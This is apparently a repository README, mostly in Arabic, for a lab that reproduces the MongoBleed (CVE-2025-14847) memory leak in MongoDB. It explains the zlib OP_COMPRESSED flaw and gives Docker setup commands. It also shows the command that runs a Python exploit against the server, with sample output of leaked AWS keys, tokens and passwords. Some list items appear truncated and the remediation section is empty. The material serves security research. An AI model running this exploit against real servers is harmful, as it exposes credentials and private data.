
MongoBleed (CVE-2025-14847) Lab & PoC : A complete educational environment to reproduce the critical unauthenticated memory leak in MongoDB. Includes a vulnerable Docker container with multi-database seeding (PII, API keys) and a Python exploit to demonstrate data extraction. Ideal for security research and awareness. 1-day analysis.
صُمم هذا المختبر لإعادة إنتاج وتحليل MongoBleed (CVE-2025-14847)، وهي ثغرة حرجة في MongoDB. تسمح هذه الثغرة للمهاجمين غير المُصادَق عليهم بقراءة بيانات حساسة من ذاكرة الخادم بسبب المعالجة غير الصحيحة للرسائل المضغوطة.
تتضمن البيئة مثيل MongoDB معرّضًا للثغرة مملوءًا ببيانات حساسة وهمية (PII، مفاتيح API، سجلات مالية) لتوضيح خطورة هذا التسريب.
معرّف CVE: CVE-2025-14847
الاسم: MongoBleed
المكوّن: بروتوكول Wire (OP_COMPRESSED)
النسخ المعرّضة للثغرة: MongoDB 6.0.x < 6.0.27, 7.0.x < 7.0.28, 8.0.x < 8.0.17 (وغيرها)
الرابط: اضغط عليه <- NVD CVE-2025-14847
تكمُن الثغرة في طريقة معالجة MongoDB لرسائل OP_COMPRESSED باستخدام خوارزمية ضغط zlib.
uncompressed_size في الترويسة عمدًا إلى قيمة أكبر بكثير من الحجم الفعلي للبيانات المفكوكة.uncompressed_size المضخّمة.zlib الحمولة الفعلية (الصغيرة) في بداية هذا المخزن المؤقت. ويظل باقي المخزن غير مُهيأ، محتويًا على بيانات متبقية من عمليات سابقة (مخلفات RAM).يتكون المختبر من:
admin / secretpassword).init-mongo.js) يملأ 3 قواعد بيانات متميزة لمحاكاة بيئة SaaS حقيقية للبنية التحتية السحابية:
compute_instances: بيانات وصفية حساسة (سكربتات User Data، مفاتيح API).deployment_secrets: أهداف عالية القيمة (رموز K8s، مفاتيح CI/CD، webhooks الخاصة بـ Slack).users: بيانات اعتماد المستخدمين، تجزئات كلمات المرور (Argon2)، ورموز نسخ احتياطي لـ MFA (مُسرَّبة كنص واضح).query_logs: يحتوي على استعلامات تاريخية، بعضها يتضمن بيانات اعتماد مُسرَّبة (مثل مفاتيح AWS).exploit.py) ينفذ هجوم البروتوكول المُعاد هندسته.شغّل الحاوية المعرّضة للثغرة. سيؤدي ذلك تلقائيًا إلى إنشاء قواعد البيانات وملئها بالبيانات.
docker-compose up -d
انتظر حوالي 10-15 ثانية حتى تتم تهيئة قاعدة البيانات وتحميل البيانات.
ملاحظة: إذا كنت قد شغّلت هذا المختبر من قبل، فتأكد من إعادة تعيين وحدة التخزين (volume) لتحميل أحدث بنية للبيانات:
docker-compose down -v
docker-compose up -d
يمكنك تثبيت التبعيات المطلوبة باستخدام pip إما عبر ملف requirements.txt القديم أو ملف pyproject.toml الحديث.
الخيار A: استخدام requirements.txt (القياسي)
pip install -r requirements.txt
الخيار B: استخدام pyproject.toml (الحديث) سيؤدي هذا إلى تثبيت المشروع وتبعياته في البيئة الحالية.
pip install .
لقد وفرنا سكربت تحقق للتأكد من إمكانية الوصول إلى قاعدة البيانات ومن تعبئة البيانات بشكل صحيح.
python verify_lab.py
يستخدم هذا السكربت بيانات اعتماد المسؤول (admin) للتحقق من وجود قواعد بيانات مثل sensitive_db، legacy_crm، وما إلى ذلك.
نفّذ سكربت Python لمهاجمة الخادم. لا تتطلب هذه الخطوة أي بيانات اعتماد، مما يوضح الطبيعة غير المُصادَق عليها للثغرة.
python exploit.py --host localhost --port 27017 --min 100 --max 5000
ينفذ السكربت الخطوات التالية:
OP_COMPRESSED بحجم مزيّف ومضخّم.المخرجات المتوقعة: يجب أن ترى مخرجات تشير إلى تسريبات تم العثور عليها في إزاحات مختلفة، يليها ملخص بالأسرار المكتشفة.
[*] MongoBleed Exploit (Custom Implementation)
[*] Target: localhost:27017
[*] Scanning memory offsets 100 to 5000...
[+] Offset 120 | ... dbmongotesting ... compute_instances ...
[+] Offset 145 | ... field name 'AKIAIOSFODNN7EXAMPLE' is not valid ... [!] FOUND AKIA
[+] Offset 210 | ... "token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ik16UTBOVFZ... [!] FOUND token
[*] Scan completed in 12.45s
[*] Total bytes leaked: 4502
[*] Unique fragments: 156
[*] Secrets Summary:
[!] Found pattern: AKIA
[!] Found pattern: token
[!] Found pattern: password
لإصلاح هذه الثغرة في بيئات الإنتاج:
هذا المشروع مرخّص بموجب رخصة MIT. راجع ملف LICENSE للحصول على التفاصيل.
هذه المادة لأغراض تعليمية وبحثية فقط. لا تستخدم هذا الاستغلال على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن أي إساءة استخدام لهذه المعلومات أو هذه الأداة.
Joseph Meneses (ElJoamy)
مطوّر Backend وذكاء اصطناعي · مهندس أمن سيبراني · DBA · مختبِر اختراق